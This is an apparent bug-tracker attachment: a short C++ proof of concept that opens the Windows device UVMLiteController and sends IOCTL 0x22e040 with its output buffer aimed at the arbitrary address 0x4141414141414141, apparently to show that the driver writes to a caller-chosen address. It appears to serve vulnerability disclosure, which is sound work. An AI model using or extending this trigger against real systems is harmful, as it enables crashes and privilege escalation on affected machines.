New issue
Advanced search Search tips

Issue 880 attachment: poc.cpp (680 bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include "stdafx.h"

#include <windows.h>

int main() {
HANDLE handle = CreateFileW(
L"\\\\.\\UVMLiteController",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr);
if (handle == INVALID_HANDLE_VALUE) {
fprintf(stderr, "failed\n");
return 1;
}

BYTE input[1024];
LPVOID target_address = (LPVOID)0x4141414141414141LLU;
DWORD output_length;
if (!DeviceIoControl(handle, 0x22e040, &input, 1024, target_address, 0,
&output_length, nullptr)) {
fprintf(stderr, "ioctl failed\n");
return 1;
}

return 0;
}